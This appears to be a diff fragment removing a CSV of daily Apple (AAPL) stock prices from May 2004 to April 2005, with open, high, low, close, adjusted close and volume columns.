-2004-05-10,1.8764286041259766,1.899999976158142,1.8528571128845215,1.8771429061889648,1.6333039999008179,62494600.0,AAPL
-2004-05-11,1.8857142925262451,1.9421428442001343,1.8857142925262451,1.9385714530944824,1.6867527961730957,76293000.0,AAPL
-2004-05-12,1.9135714769363403,1.9528571367263794,1.8742856979370117,1.9500000476837158,1.6966966390609741,61355000.0,AAPL
-2004-05-13,1.9357142448425293,1.9800000190734863,1.9214285612106323,1.9421428442001343,1.6898603439331055,57463000.0,AAPL
-2004-05-14,1.9464285373687744,1.9514285326004028,1.889285683631897,1.9328571557998657,1.6817808151245117,64450400.0,AAPL
-2004-05-17,1.9071428775787354,1.9328571557998657,1.882857084274292,1.9028571844100952,1.6556780338287354,75111400.0,AAPL
-2004-05-18,1.9264285564422607,1.9492857456207275,1.914285659790039,1.9328571557998657,1.6817808151245117,51515800.0,AAPL
-2004-05-19,1.9571428298950195,1.9642857313156128,1.8871428966522217,1.8907142877578735,1.6451126337051392,93898000.0,AAPL
-2004-05-20,1.902142882347107,1.9285714626312256,1.8907142877578735,1.9078571796417236,1.6600285768508911,49074200.0,AAPL
-2004-05-21,1.9214285612106323,1.9428571462631226,1.9092856645584106,1.9364285469055176,1.684888243675232,44973600.0,AAPL
-2004-05-24,1.9492857456207275,1.9928570985794067,1.9364285469055176,1.9528571367263794,1.6991828680038452,58900800.0,AAPL
-2004-05-25,1.9642857313156128,2.036428689956665,1.9492857456207275,2.0292856693267822,1.7656835317611694,79994600.0,AAPL
-2004-05-26,2.023571491241455,2.0557143688201904,2.0,2.036428689956665,1.7718985080718994,80542000.0,AAPL
-2004-05-27,2.0328571796417236,2.0428571701049805,1.98714280128479,2.0121428966522217,1.7507671117782593,58993200.0,AAPL
-2004-05-28,2.005714178085327,2.0192856788635254,1.985714316368103,2.0042858123779297,1.7439308166503906,36429400.0,AAPL
-2004-06-01,1.9850000143051147,2.0142858028411865,1.9721428155899048,2.0042858123779297,1.7439308166503906,45533600.0,AAPL
-2004-06-02,2.002142906188965,2.083571434020996,1.985714316368103,2.0657143592834473,1.7973802089691162,79678200.0,AAPL
-2004-06-03,2.0514285564422607,2.070714235305786,2.020714282989502,2.028571367263794,1.7650617361068726,62732600.0,AAPL
-2004-06-04,2.0399999618530273,2.0892856121063232,2.036428689956665,2.0557143688201904,1.7886788845062256,99778000.0,AAPL
-2004-06-07,2.0742857456207275,2.1414284706115723,2.057857036590576,2.1292858123779297,1.8526939153671265,73969000.0,AAPL
-2004-06-08,2.1421427726745605,2.174285650253296,2.130714178085327,2.1678571701049805,1.8862543106079102,103905200.0,AAPL
-2004-06-09,2.1492857933044434,2.1935713291168213,2.142857074737549,2.1571428775787354,1.8769317865371704,87301200.0,AAPL
-2004-06-10,2.1571428775787354,2.2121429443359375,2.1571428775787354,2.195714235305786,1.91049325466156,64394400.0,AAPL
-2004-06-14,2.1892857551574707,2.1914286613464355,2.107142925262451,2.151428461074829,1.8719596862792969,60996600.0,AAPL
-2004-06-15,2.1814286708831787,2.22428560256958,2.161428689956665,2.192142963409424,1.9073854684829712,111158600.0,AAPL
-2004-06-16,2.190000057220459,2.380000114440918,2.1807143688201904,2.338571310043335,2.0347936153411865,227410400.0,AAPL
-2004-06-17,2.325714349746704,2.3664286136627197,2.3007142543792725,2.343571424484253,2.0391435623168945,137830000.0,AAPL
-2004-06-18,2.332857131958008,2.3864285945892334,2.3164286613464355,2.3507142066955566,2.045358657836914,101563000.0,AAPL
-2004-06-21,2.3657143115997314,2.392857074737549,2.294285774230957,2.3092856407165527,2.0093116760253906,97553400.0,AAPL
-2004-06-22,2.307142972946167,2.3635714054107666,2.3064286708831787,2.357142925262451,2.0509517192840576,90127800.0,AAPL
-2004-06-23,2.357142925262451,2.416428565979004,2.34928560256958,2.4071428775787354,2.0944573879241943,97717200.0,AAPL
-2004-06-24,2.393571376800537,2.4071428775787354,2.3557143211364746,2.369999885559082,2.0621395111083984,63128800.0,AAPL
-2004-06-25,2.36214280128479,2.4071428775787354,2.357142925262451,2.4071428775787354,2.0944573879241943,80857000.0,AAPL
-2004-06-28,2.4414286613464355,2.442142963409424,2.3007142543792725,2.320714235305786,2.0192553997039795,130274200.0,AAPL
-2004-06-29,2.2907142639160156,2.356428623199463,2.2435715198516846,2.3214285373687744,2.0198771953582764,147638400.0,AAPL
-2004-06-30,2.325714349746704,2.3550000190734863,2.2778570652008057,2.3242857456207275,2.0223634243011475,93261000.0,AAPL
-2004-07-01,2.2928571701049805,2.319999933242798,2.278571367263794,2.307142972946167,2.0074477195739746,85485400.0,AAPL
-2004-07-02,2.177142858505249,2.227142810821533,2.1235713958740234,2.2200000286102295,1.931624412536621,227670800.0,AAPL
-2004-07-06,2.2335715293884277,2.244285821914673,2.200000047683716,2.210714340209961,1.9235447645187378,87245200.0,AAPL
-2004-07-07,2.203571319580078,2.240000009536743,2.1521427631378174,2.1707143783569336,1.8887401819229126,99498000.0,AAPL
-2004-07-08,2.1521427631378174,2.1914286613464355,2.1392858028411865,2.1528570652008057,1.8732030391693115,58345000.0,AAPL
-2004-07-09,2.162142753601074,2.1785714626312256,2.1449999809265137,2.1449999809265137,1.8663667440414429,52215800.0,AAPL
-2004-07-12,2.1442856788635254,2.145714282989502,2.0664286613464355,2.0814285278320312,1.8110530376434326,127905400.0,AAPL
-2004-07-13,2.0892856121063232,2.114285707473755,2.072857141494751,2.0871429443359375,1.816024899482727,79044000.0,AAPL
-2004-07-14,2.0614285469055176,2.140714168548584,2.0528571605682373,2.1128571033477783,1.838398814201355,208950000.0,AAPL
-2004-07-15,2.332857131958008,2.4021427631378174,2.2935714721679688,2.352142810821533,2.0466015338897705,441931000.0,AAPL
-2004-07-16,2.3428571224212646,2.351428508758545,2.294285774230957,2.299999952316284,2.001232147216797,122095400.0,AAPL
-2004-07-19,2.286428689956665,2.3014285564422607,2.2614285945892334,2.283571481704712,1.9869377613067627,133292600.0,AAPL
-2004-07-20,2.2821428775787354,2.299999952316284,2.2535715103149414,2.299999952316284,2.001232147216797,80936800.0,AAPL
-2004-07-21,2.3157143592834473,2.336428642272949,2.2385714054107666,2.2585713863372803,1.965185284614563,75314400.0,AAPL
-2004-07-22,2.232142925262451,2.2664284706115723,2.218571424484253,2.26285719871521,1.9689140319824219,83529600.0,AAPL
-2004-07-23,2.252142906188965,2.267857074737549,2.177142858505249,2.192857027053833,1.9080075025558472,68392800.0,AAPL
-2004-07-26,2.203571319580078,2.2464284896850586,2.1985714435577393,2.2328572273254395,1.9428114891052246,98483000.0,AAPL
-2004-07-27,2.2714285850524902,2.3392856121063232,2.255000114440918,2.3164286613464355,2.015526533126831,106251600.0,AAPL
-2004-07-28,2.307857036590576,2.315000057220459,2.2257142066955566,2.305000066757202,2.005582332611084,71262800.0,AAPL
-2004-07-29,2.3192856311798096,2.344285726547241,2.2950000762939453,2.3314285278320312,2.028578281402588,55539400.0,AAPL
-2004-07-30,2.3321428298950195,2.357142925262451,2.2857143878936768,2.309999942779541,2.0099332332611084,60755800.0,AAPL
-2004-08-02,2.227142810821533,2.299999952316284,2.223571538925171,2.255714178085327,1.962699294090271,91273000.0,AAPL
-2004-08-03,2.2464284896850586,2.265714168548584,2.2249999046325684,2.234999895095825,1.9446758031845093,52907400.0,AAPL
-2004-08-04,2.2278571128845215,2.294285774230957,2.226428508758545,2.270714282989502,1.9757505655288696,69122200.0,AAPL
-2004-08-05,2.2721428871154785,2.307142972946167,2.232142925262451,2.242142915725708,1.9508906602859497,61125400.0,AAPL
-2004-08-06,2.2071428298950195,2.221428632736206,2.1214284896850586,2.127142906188965,1.8508288860321045,123072600.0,AAPL
-2004-08-09,2.1321427822113037,2.174999952316284,2.1292858123779297,2.164285659790039,1.88314688205719,72711800.0,AAPL
-2004-08-10,2.1707143783569336,2.252857208251953,2.1678571701049805,2.2514286041259766,1.9589698314666748,87759000.0,AAPL
-2004-08-11,2.221428632736206,2.223571538925171,2.161428689956665,2.2149999141693115,1.9272732734680176,80598000.0,AAPL
-2004-08-12,2.174999952316284,2.203571319580078,2.1628570556640625,2.169285774230957,1.8874977827072144,56550200.0,AAPL
-2004-08-13,2.1857142448425293,2.234285831451416,2.171428680419922,2.202857255935669,1.9167081117630005,82012000.0,AAPL
-2004-08-16,2.2142856121063232,2.265714168548584,2.1885714530944824,2.1985714435577393,1.9129791259765625,108918600.0,AAPL
-2004-08-17,2.1842856407165527,2.223571538925171,2.1678571701049805,2.2049999237060547,1.9185725450515747,80754800.0,AAPL
-2004-08-18,2.179285764694214,2.2750000953674316,2.1778571605682373,2.2671427726745605,1.9726433753967285,91163800.0,AAPL
-2004-08-19,2.2507143020629883,2.27571439743042,2.1685714721679688,2.1935713291168213,1.9086287021636963,97230000.0,AAPL
-2004-08-20,2.1935713291168213,2.213571310043335,2.1778571605682373,2.200000047683716,1.9142227172851562,79195200.0,AAPL
-2004-08-23,2.2042856216430664,2.2335715293884277,2.1857142448425293,2.2200000286102295,1.931624412536621,63665000.0,AAPL
-2004-08-24,2.2328572273254395,2.2821428775787354,2.2278571128845215,2.2821428775787354,1.9856950044631958,93534000.0,AAPL
-2004-08-25,2.276428461074829,2.3678572177886963,2.2664284706115723,2.3607141971588135,2.0540597438812256,126404600.0,AAPL
-2004-08-26,2.359999895095825,2.51285719871521,2.338571310043335,2.4757142066955566,2.154121160507202,238964600.0,AAPL
-2004-08-27,2.477142810821533,2.4828572273254395,2.4285714626312256,2.453571319580078,2.134855031967163,97203400.0,AAPL
-2004-08-30,2.4285714626312256,2.4800000190734863,2.4257142543792725,2.437142848968506,2.12056040763855,54535600.0,AAPL
-2004-08-31,2.4335713386535645,2.4964284896850586,2.4285714626312256,2.463571310043335,2.1435556411743164,94140200.0,AAPL
-2004-09-01,2.450000047683716,2.570714235305786,2.442142963409424,2.5614285469055176,2.2287018299102783,128931600.0,AAPL
-2004-09-02,2.5357143878936768,2.557857036590576,2.4878571033477783,2.547142744064331,2.216271162033081,101581200.0,AAPL
-2004-09-03,2.5007143020629883,2.5657143592834473,2.5007143020629883,2.5164284706115723,2.189546585083008,73367000.0,AAPL
-2004-09-07,2.528571367263794,2.5850000381469727,2.5164284706115723,2.554285764694214,2.222485303878784,75489400.0,AAPL
-2004-09-08,2.549999952316284,2.61214280128479,2.5485713481903076,2.596428632736206,2.259155035018921,85881600.0,AAPL
-2004-09-09,2.578571319580078,2.5928571224212646,2.5199999809265137,2.549999952316284,2.218757390975952,115334800.0,AAPL
-2004-09-10,2.547142744064331,2.587857246398926,2.5328571796417236,2.562142848968506,2.229323148727417,82003600.0,AAPL
-2004-09-13,2.562857151031494,2.5764286518096924,2.522857189178467,2.542142868041992,2.211920976638794,70494200.0,AAPL
-2004-09-14,2.5171427726745605,2.539285659790039,2.484285831451416,2.5350000858306885,2.2057063579559326,63705600.0,AAPL
-2004-09-15,2.52571439743042,2.5342857837677,2.4857141971588135,2.5142858028411865,2.1876823902130127,58167200.0,AAPL
-2004-09-16,2.5142858028411865,2.6257143020629883,2.505714178085327,2.596428632736206,2.259155035018921,125479200.0,AAPL
-2004-09-17,2.6107141971588135,2.6700000762939453,2.5999999046325684,2.6528570652008057,2.308253765106201,125577200.0,AAPL
-2004-09-20,2.6342856884002686,2.712857246398926,2.6335713863372803,2.6935713291168213,2.343679666519165,61250000.0,AAPL
-2004-09-21,2.6964285373687744,2.776428461074829,2.6757142543792725,2.7149999141693115,2.362323760986328,96663000.0,AAPL
-2004-09-22,2.721428632736206,2.72428560256958,2.6292858123779297,2.6371428966522217,2.2945802211761475,100422000.0,AAPL
-2004-09-23,2.645714282989502,2.6785714626312256,2.63785719871521,2.662142753601074,2.3163328170776367,99351000.0,AAPL
-2004-09-24,2.674999952316284,2.7142856121063232,2.653571367263794,2.663571357727051,2.317575693130493,92372000.0,AAPL
-2004-09-27,2.6392858028411865,2.712857246398926,2.630714178085327,2.6807143688201904,2.3324925899505615,99379000.0,AAPL
-2004-09-28,2.6757142543792725,2.734999895095825,2.674999952316284,2.7171428203582764,2.364189386367798,88296600.0,AAPL
-2004-09-29,2.7092857360839844,2.77571439743042,2.7014286518096924,2.76285719871521,2.4039645195007324,68377400.0,AAPL
-2004-09-30,2.7857143878936768,2.805000066757202,2.7464284896850586,2.767857074737549,2.4083147048950195,106253000.0,AAPL
-2004-10-01,2.794285774230957,2.799285650253296,2.755714178085327,2.7621428966522217,2.4033432006835938,116351200.0,AAPL
-2004-10-04,2.7985713481903076,2.7985713481903076,2.767857074737549,2.770714282989502,2.4108009338378906,143521000.0,AAPL
-2004-10-05,2.7542858123779297,2.833571434020996,2.7428572177886963,2.812142848968506,2.446848154067993,101540600.0,AAPL
-2004-10-06,2.8214285373687744,2.911428689956665,2.8192856311798096,2.9028570652008057,2.5257785320281982,111575800.0,AAPL
-2004-10-07,2.895714282989502,2.9235713481903076,2.8185713291168213,2.8299999237060547,2.462385892868042,106537200.0,AAPL
-2004-10-08,2.825714349746704,2.8407142162323,2.7742857933044434,2.7899999618530273,2.427581548690796,89807200.0,AAPL
-2004-10-11,2.7714285850524902,2.7899999618530273,2.7285714149475098,2.7564284801483154,2.3983707427978516,80967600.0,AAPL
-2004-10-12,2.75,2.755714178085327,2.6892857551574707,2.734999895095825,2.3797266483306885,115047800.0,AAPL
-2004-10-13,2.776428461074829,2.8399999141693115,2.7671427726745605,2.8392856121063232,2.4704654216766357,290752000.0,AAPL
-2004-10-14,3.0850000381469727,3.267857074737549,3.039285659790039,3.212857246398926,2.7955098152160645,692106800.0,AAPL
-2004-10-15,3.205714225769043,3.257857084274292,3.156428575515747,3.25,2.8278281688690186,257782000.0,AAPL
-2004-10-18,3.192857027053833,3.4107143878936768,3.192857027053833,3.4107143878936768,2.967665672302246,300188000.0,AAPL
-2004-10-19,3.4357142448425293,3.453571319580078,3.3792858123779297,3.3871428966522217,2.9471561908721924,200498200.0,AAPL
-2004-10-20,3.369999885559082,3.4000000953674316,3.3321428298950195,3.390714168548584,2.950263738632202,151277000.0,AAPL
-2004-10-21,3.3914284706115723,3.437857151031494,3.382857084274292,3.424285650253296,2.9794740676879883,181126400.0,AAPL
-2004-10-22,3.395714282989502,3.4049999713897705,3.3585715293884277,3.3864285945892334,2.9465348720550537,120766800.0,AAPL
-2004-10-25,3.3714284896850586,3.417142868041992,3.36214280128479,3.3964285850524902,2.955235719680786,98161000.0,AAPL
-2004-10-26,3.3892858028411865,3.432142972946167,3.3550000190734863,3.4264285564422607,2.9813382625579834,148590400.0,AAPL
-2004-10-27,3.4649999141693115,3.6157143115997314,3.4407143592834473,3.5928571224212646,3.1261484622955322,298373600.0,AAPL
-2004-10-28,3.569999933242798,3.7300000190734863,3.5357143878936768,3.7278571128845215,3.2436115741729736,216066200.0,AAPL
-2004-10-29,3.702857255935669,3.799999952316284,3.700000047683716,3.7428572177886963,3.2566633224487305,202554800.0,AAPL
-2004-11-01,3.75,3.804285764694214,3.7171428203582764,3.7464284896850586,3.2597711086273193,150512600.0,AAPL
-2004-11-02,3.7428572177886963,3.8628571033477783,3.7428572177886963,3.8214285373687744,3.325028896331787,182497000.0,AAPL
-2004-11-03,3.8835713863372803,4.007857322692871,3.856428623199463,3.950714349746704,3.4375202655792236,301043400.0,AAPL
-2004-11-04,3.9307143688201904,3.9678571224212646,3.8835713863372803,3.8892858028411865,3.3840715885162354,232156400.0,AAPL
-2004-11-05,3.9185714721679688,3.9285714626312256,3.7171428203582764,3.908571481704712,3.4008522033691406,301261800.0,AAPL
-2004-11-08,3.8764286041259766,3.960714340209961,3.8471429347991943,3.8842856884002686,3.379720687866211,131730200.0,AAPL
-2004-11-09,3.8735713958740234,3.8964285850524902,3.812857151031494,3.8607141971588135,3.3592114448547363,118941200.0,AAPL
-2004-11-10,3.8535714149475098,3.9564285278320312,3.8507142066955566,3.9107143878936768,3.4027159214019775,127169000.0,AAPL
-2004-11-11,3.924999952316284,3.9592857360839844,3.8735713958740234,3.950000047683716,3.4368982315063477,101824800.0,AAPL
-2004-11-12,3.929285764694214,3.9778571128845215,3.917142868041992,3.9642856121063232,3.449328660964966,98925400.0,AAPL
-2004-11-15,3.942857027053833,3.961428642272949,3.8814284801483154,3.945714235305786,3.4331696033477783,94011400.0,AAPL
-2004-11-16,3.940000057220459,3.942857027053833,3.8914284706115723,3.924285650253296,3.414524555206299,73775800.0,AAPL
-2004-11-17,3.942142963409424,3.960714340209961,3.872857093811035,3.921428680419922,3.4120383262634277,99437800.0,AAPL
-2004-11-18,3.8785715103149414,3.960714340209961,3.877857208251953,3.9564285278320312,3.4424920082092285,114787400.0,AAPL
-2004-11-19,3.963571310043335,4.065000057220459,3.892857074737549,3.9407143592834473,3.4288196563720703,191319800.0,AAPL
-2004-11-22,4.414285659790039,4.5714287757873535,4.135714054107666,4.382143020629883,3.8129072189331055,642052600.0,AAPL
-2004-11-23,4.449999809265137,4.460714340209961,4.360714435577393,4.376428604125977,3.807934522628784,227862600.0,AAPL
-2004-11-24,4.406428337097168,4.657142639160156,4.39642858505249,4.574999809265137,3.980712413787842,347697000.0,AAPL
-2004-11-26,4.6678571701049805,4.697143077850342,4.595714092254639,4.610714435577393,4.011787414550781,137536000.0,AAPL
-2004-11-29,4.925000190734863,4.969285488128662,4.815000057220459,4.888571262359619,4.253551006317139,428229200.0,AAPL
-2004-11-30,4.913571357727051,4.913571357727051,4.789285659790039,4.789285659790039,4.1671624183654785,257129600.0,AAPL
-2004-12-01,4.8421430587768555,4.85357141494751,4.733571529388428,4.8421430587768555,4.213152885437012,200138400.0,AAPL
-2004-12-02,4.723571300506592,4.778571605682373,4.6185712814331055,4.6578569412231445,4.052805423736572,246860600.0,AAPL
-2004-12-03,4.609285831451416,4.642857074737549,4.410714149475098,4.477142810821533,3.895565986633301,309712200.0,AAPL
-2004-12-06,4.589285850524902,4.731428623199463,4.496428489685059,4.69857120513916,4.088231563568115,311980200.0,AAPL
-2004-12-07,4.709285736083984,4.766428470611572,4.468571662902832,4.492142677307129,3.9086177349090576,264224800.0,AAPL
-2004-12-08,4.505714416503906,4.602142810821533,4.432142734527588,4.519999980926514,3.9328558444976807,172975600.0,AAPL
-2004-12-09,4.486428737640381,4.599999904632568,4.4335713386535645,4.570714473724365,3.976982355117798,185375400.0,AAPL
-2004-12-10,4.644999980926514,4.717857360839844,4.621428489685059,4.653571605682373,4.04907751083374,193943400.0,AAPL
-2004-12-13,4.687142848968506,4.7071428298950195,4.614285945892334,4.636428356170654,4.03416109085083,98760200.0,AAPL
-2004-12-14,4.671428680419922,4.705714225769043,4.644285678863525,4.663571357727051,4.057776927947998,103930400.0,AAPL
-2004-12-15,4.659999847412109,4.675714492797852,4.6185712814331055,4.661428451538086,4.055912494659424,99590400.0,AAPL
-2004-12-16,4.724999904632568,4.8214287757873535,4.717857360839844,4.757143020629883,4.139195442199707,281528800.0,AAPL
-2004-12-17,4.774285793304443,4.788571357727051,4.635714054107666,4.6421427726745605,4.039133548736572,195874000.0,AAPL
-2004-12-20,4.67642879486084,4.714285850524902,4.411428451538086,4.480000019073486,3.898052453994751,292031600.0,AAPL
-2004-12-21,4.539999961853027,4.554999828338623,4.400000095367432,4.549285888671875,3.95833683013916,266103600.0,AAPL
-2004-12-22,4.54714298248291,4.597142696380615,4.528571605682373,4.5535712242126465,3.962067127227783,141457400.0,AAPL
-2004-12-23,4.5535712242126465,4.589285850524902,4.5428571701049805,4.572143077850342,3.9782261848449707,61482400.0,AAPL
-2004-12-27,4.628571510314941,4.653571605682373,4.491428375244141,4.511428356170654,3.925398588180542,139872600.0,AAPL
-2004-12-28,4.52142858505249,4.589285850524902,4.432142734527588,4.584285736083984,3.98879075050354,152938800.0,AAPL
-2004-12-29,4.557857036590576,4.641428470611572,4.540714263916016,4.6028571128845215,4.004950523376465,112390600.0,AAPL
-2004-12-30,4.62928581237793,4.644999980926514,4.5871429443359375,4.628571510314941,4.027324676513672,86335200.0,AAPL
-2004-12-31,4.635000228881836,4.642857074737549,4.57357120513916,4.599999904632568,4.002464294433594,69647200.0,AAPL
-2005-01-03,4.627142906188965,4.65071439743042,4.471428394317627,4.520714282989502,3.9334781169891357,172998000.0,AAPL
-2005-01-04,4.5564284324646,4.67642879486084,4.497857093811035,4.567142963409424,3.9738755226135254,274202600.0,AAPL
-2005-01-05,4.604285717010498,4.660714149475098,4.574999809265137,4.607142925262451,4.0086798667907715,170108400.0,AAPL
-2005-01-06,4.619285583496094,4.636428356170654,4.523571491241455,4.610714435577393,4.011787414550781,176388800.0,AAPL
-2005-01-07,4.642857074737549,4.973571300506592,4.625,4.9464287757873535,4.303891658782959,556862600.0,AAPL
-2005-01-10,4.987857341766357,5.050000190734863,4.848571300506592,4.925714492797852,4.285868167877197,431327400.0,AAPL
-2005-01-11,4.875,4.939285755157471,4.581428527832031,4.611428737640381,4.012408256530762,652906800.0,AAPL
-2005-01-12,4.675000190734863,4.7071428298950195,4.52142858505249,4.675714492797852,4.068343639373779,479925600.0,AAPL
-2005-01-13,5.264999866485596,5.315714359283447,4.980714321136475,4.985714435577393,4.338074684143066,791179200.0,AAPL
-2005-01-14,5.017857074737549,5.122857093811035,4.942142963409424,5.014285564422607,4.362934589385986,442685600.0,AAPL
-2005-01-18,4.989285945892334,5.050000190734863,4.839285850524902,5.046428680419922,4.390901565551758,251615000.0,AAPL
-2005-01-19,5.034999847412109,5.104285717010498,4.982142925262451,4.991428375244141,4.343045711517334,187973800.0,AAPL
-2005-01-20,4.974999904632568,5.090714454650879,4.9621429443359375,5.0328569412231445,4.379093170166016,228730600.0,AAPL
-2005-01-21,5.093571662902832,5.114285945892334,5.0,5.034999847412109,4.38095760345459,227833200.0,AAPL
-2005-01-24,5.070000171661377,5.127142906188965,5.039285659790039,5.054285526275635,4.397738933563232,210407400.0,AAPL
-2005-01-25,5.0978569984436035,5.20285701751709,5.067142963409424,5.14642858505249,4.477911472320557,242307800.0,AAPL
-2005-01-26,5.190000057220459,5.1964287757873535,5.0871429443359375,5.160714149475098,4.490340709686279,184874200.0,AAPL
-2005-01-27,5.154285907745361,5.208571434020996,5.110714435577393,5.188571453094482,4.514581680297852,124056800.0,AAPL
-2005-01-28,5.187142848968506,5.284285545349121,5.174285888671875,5.284285545349121,4.597862243652344,200403000.0,AAPL
-2005-01-31,5.327142715454102,5.563571453094482,5.322143077850342,5.492856979370117,4.779339790344238,420274400.0,AAPL
-2005-02-01,5.503571510314941,5.554999828338623,5.46999979019165,5.5378570556640625,4.8184943199157715,169598800.0,AAPL
-2005-02-02,5.567857265472412,5.707857131958008,5.549285888671875,5.687857151031494,4.949009895324707,255015600.0,AAPL
-2005-02-03,5.650000095367432,5.673571586608887,5.523571491241455,5.557857036590576,4.8358964920043945,182912800.0,AAPL
-2005-02-04,5.562142848968506,5.637856960296631,5.5378570556640625,5.6314287185668945,4.899910926818848,140889000.0,AAPL
-2005-02-07,5.637856960296631,5.6678571701049805,5.535714149475098,5.638571262359619,4.906126022338867,131114200.0,AAPL
-2005-02-08,5.647857189178467,5.812857151031494,5.627857208251953,5.778571605682373,5.027940273284912,222504800.0,AAPL
-2005-02-09,5.788571357727051,5.856428623199463,5.578571319580078,5.624285697937012,4.893696308135986,297864000.0,AAPL
-2005-02-10,5.622857093811035,5.6628570556640625,5.475714206695557,5.597142696380615,4.870079040527344,273254800.0,AAPL
-2005-02-11,5.704285621643066,5.840000152587891,5.638571262359619,5.800714492797852,5.047207355499268,300263600.0,AAPL
-2005-02-14,5.909285545349121,6.0564284324646,5.860714435577393,6.045000076293945,5.259759426116943,317865800.0,AAPL
-2005-02-15,6.190000057220459,6.362857341766357,6.142857074737549,6.315000057220459,5.494687080383301,578054400.0,AAPL
-2005-02-16,6.296428680419922,6.442857265472412,6.239285945892334,6.437857151031494,5.601585865020752,409810800.0,AAPL
-2005-02-17,6.474999904632568,6.491428375244141,6.246428489685059,6.2721428871154785,5.457398414611816,379618400.0,AAPL
-2005-02-18,6.2671427726745605,6.27571439743042,6.160714149475098,6.200714111328125,5.395247936248779,290813600.0,AAPL
-2005-02-22,6.164285659790039,6.307142734527588,6.0921430587768555,6.0921430587768555,5.300778865814209,304823400.0,AAPL
-2005-02-23,6.194285869598389,6.317857265472412,6.110714435577393,6.30214262008667,5.483499050140381,336295400.0,AAPL
-2005-02-24,6.320000171661377,6.37928581237793,6.266428470611572,6.352142810821533,5.527005195617676,379757000.0,AAPL
-2005-02-25,6.401428699493408,6.42214298248291,6.299285888671875,6.356428623199463,5.530734062194824,228877600.0,AAPL
-2005-02-28,6.382857322692871,6.44857120513916,6.28000020980835,6.408571243286133,5.576104164123535,162902600.0,AAPL
-2005-03-01,6.42714262008667,6.444285869598389,6.3085713386535645,6.357142925262451,5.531356334686279,117047000.0,AAPL
-2005-03-02,6.3214287757873535,6.4128570556640625,6.29714298248291,6.302856922149658,5.4841227531433105,114540300.0,AAPL
-2005-03-03,6.338571548461914,6.344285488128662,5.888571262359619,5.96999979019165,5.194502353668213,352913400.0,AAPL
-2005-03-04,6.108571529388428,6.144285678863525,5.97857141494751,6.115714073181152,5.321288585662842,189154700.0,AAPL
-2005-03-07,6.114285945892334,6.1785712242126465,6.050000190734863,6.107142925262451,5.313830852508545,112658000.0,AAPL
-2005-03-08,5.985714435577393,6.022857189178467,5.72857141494751,5.789999961853027,5.037883758544922,255362800.0,AAPL
-2005-03-09,5.6628570556640625,5.75428581237793,5.54714298248291,5.621428489685059,4.891209602355957,330616300.0,AAPL
-2005-03-10,5.6471428871154785,5.751428604125977,5.585714340209961,5.690000057220459,4.950873374938965,194277300.0,AAPL
-2005-03-11,5.744285583496094,5.798571586608887,5.685714244842529,5.752857208251953,5.005566596984863,158207700.0,AAPL
-2005-03-14,5.788571357727051,5.827142715454102,5.645714282989502,5.760000228881836,5.011781692504883,151346300.0,AAPL
-2005-03-15,5.805714130401611,5.877142906188965,5.75,5.851428508758545,5.091332912445068,127152200.0,AAPL
-2005-03-16,5.887142658233643,6.044285774230957,5.825714111328125,5.882857322692871,5.118680000305176,174453300.0,AAPL
-2005-03-17,5.932857036590576,6.125714302062988,5.902857303619385,6.035714149475098,5.251681327819824,200480000.0,AAPL
-2005-03-18,6.190000057220459,6.205714225769043,6.0714287757873535,6.137142658233643,5.339933395385742,235037600.0,AAPL
-2005-03-21,6.184285640716553,6.281428337097168,6.122857093811035,6.242856979370117,5.431915760040283,135282000.0,AAPL
-2005-03-22,6.244285583496094,6.28000020980835,6.097142696380615,6.1185712814331055,5.3237738609313965,137853800.0,AAPL
-2005-03-23,6.064285755157471,6.199999809265137,6.002857208251953,6.078571319580078,5.288969993591309,152455800.0,AAPL
-2005-03-24,6.130000114440918,6.142857074737549,6.0714287757873535,6.0714287757873535,5.2827558517456055,88176200.0,AAPL
-2005-03-28,6.107142925262451,6.137142658233643,6.067142963409424,6.075714111328125,5.286485195159912,68852700.0,AAPL
-2005-03-29,6.079999923706055,6.1185712814331055,5.9285712242126465,5.964285850524902,5.189530849456787,115339000.0,AAPL
-2005-03-30,6.010000228881836,6.114285945892334,5.97428560256958,6.114285945892334,5.32004451751709,98739900.0,AAPL
-2005-03-31,6.064285755157471,6.074285507202148,5.9414286613464355,5.95285701751709,5.179587364196777,159033700.0,AAPL
-2005-04-01,6.012856960296631,6.02571439743042,5.795714378356934,5.841428756713867,5.082633972167969,160321000.0,AAPL
-2005-04-04,5.855714321136475,5.901428699493408,5.737143039703369,5.869999885559082,5.107492923736572,145003600.0,AAPL
-2005-04-05,5.888571262359619,6.034285545349121,5.869999885559082,5.984285831451416,5.20693302154541,139059900.0,AAPL
-2005-04-06,6.057142734527588,6.115714073181152,6.02142858505249,6.04714298248291,5.261623859405518,103706400.0,AAPL
-2005-04-07,6.04714298248291,6.25,6.035714149475098,6.2228569984436035,5.414514064788818,126746900.0,AAPL
-2005-04-08,6.242856979370117,6.349999904632568,6.21999979019165,6.248571395874023,5.436888694763184,162487500.0,AAPL
-2005-04-11,6.307142734527588,6.3214287757873535,5.987143039703369,5.988571643829346,5.2106614112854,205415700.0,AAPL
-2005-04-12,6.070000171661377,6.170000076293945,6.001428604125977,6.094285488128662,5.302645206451416,245265300.0,AAPL
-2005-04-13,6.135714054107666,6.141428470611572,5.769999980926514,5.862857341766357,5.1012773513793945,342986700.0,AAPL
-2005-04-14,5.544285774230957,5.651428699493408,5.262856960296631,5.32285737991333,4.6314239501953125,688298100.0,AAPL
-2005-04-15,5.231428623199463,5.3214287757873535,5.039999961853027,5.050000190734863,4.394009590148926,432021800.0,AAPL
-2005-04-18,5.0,5.185714244842529,4.857142925262451,5.088571548461914,4.427570819854736,331794400.0,AAPL
-2005-04-19,5.22857141494751,5.348571300506592,5.124285697937012,5.298571586608887,4.610292911529541,270410700.0,AAPL
-2005-04-20,5.380000114440918,5.391428470611572,5.062857151031494,5.07285737991333,4.413898468017578,236282900.0,AAPL
-2005-04-21,5.199999809265137,5.315714359283447,5.128571510314941,5.311428546905518,4.621479511260986,189898100.0,AAPL
-2005-04-22,5.262856960296631,5.285714149475098,4.985714435577393,5.0714287757873535,4.412655353546143,209782300.0,AAPL
-2005-04-25,5.212857246398926,5.288571357727051,5.158571243286133,5.2828569412231445,4.59661865234375,186615100.0,AAPL
-2005-04-26,5.25428581237793,5.358571529388428,5.159999847412109,5.170000076293945,4.498420715332031,202626900.0,AAPL
-2005-04-27,5.127142906188965,5.194285869598389,5.07285737991333,5.135714054107666,4.468590259552002,153472200.0,AAPL
-2005-04-28,5.184285640716553,5.1914286613464355,5.034285545349121,5.077142715454102,4.417625427246094,143776500.0,AAPL
-2005-04-29,5.164285659790039,5.175714492797852,5.031428337097168,5.151428699493408,4.482263088226318,167907600.0,AAPL
